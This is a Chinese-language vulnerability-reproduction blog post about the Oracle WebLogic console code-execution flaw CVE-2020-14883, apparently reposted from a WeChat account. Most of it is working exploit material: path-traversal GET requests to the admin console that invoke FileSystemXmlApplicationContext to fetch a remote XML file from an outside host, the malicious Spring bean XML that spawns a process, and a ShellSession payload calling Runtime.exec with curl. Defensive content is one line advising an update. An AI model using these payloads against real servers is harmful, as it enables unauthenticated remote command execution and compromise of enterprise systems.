【漏洞复现】Weblogic 代码执行漏洞(CVE-2020-14883)

admin 2023年10月12日13:10:18评论20 views字数 1908阅读6分21秒阅读模式
声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。请遵守《中华人民共和国网络安全法》。

0X01 简介

Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。

与CVE-2020-14882一起利用,可以绕过登录限制。

漏洞参考:
【漏洞复现】Weblogic 未授权访问漏洞(CVE-2020-14882)

官网:
https://www.oracle.com/

漏洞编号:
CVE-2020-14883


影响范围:
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0

复现环境:

Oracle WebLogic Server 10.3.6.0

Oracle WebLogic Server 12.2.1.3.0


0X02 漏洞复现

Oracle WebLogic Server 10.3.6.0.0 POC:

com.tangosol.coherence.mvel2.sh.ShellSession类只能在12.2.1.3.0以上版本利用,10.3.6.0.0可以用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类
通过此类,远程加载一个xml,执行命令。POC:GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.245.129:9999/1.xml") HTTP/1.1Host: 192.168.245.134:7001
XML:<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>curl</value>            <value>http://192.168.245.129:9999/123</value>           </list>        </constructor-arg>    </bean></beans>
【漏洞复现】Weblogic 代码执行漏洞(CVE-2020-14883)

Oracle WebLogic Server 12.2.1.3.0 POC:
GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl+http://192.168.245.129:9999/456789');") HTTP/1.1Host: 192.168.245.134:7001
【漏洞复现】Weblogic 代码执行漏洞(CVE-2020-14883)

0X03 修复建议

更新至最新版!

0X04 写在最后

回复“加群”,获取群号。

侵删!

原文始发于微信公众号(皓月的笔记本):【漏洞复现】Weblogic 代码执行漏洞(CVE-2020-14883)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月12日13:10:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】Weblogic 代码执行漏洞(CVE-2020-14883)https://cn-sec.com/archives/2105700.html

发表评论

匿名网友 填写信息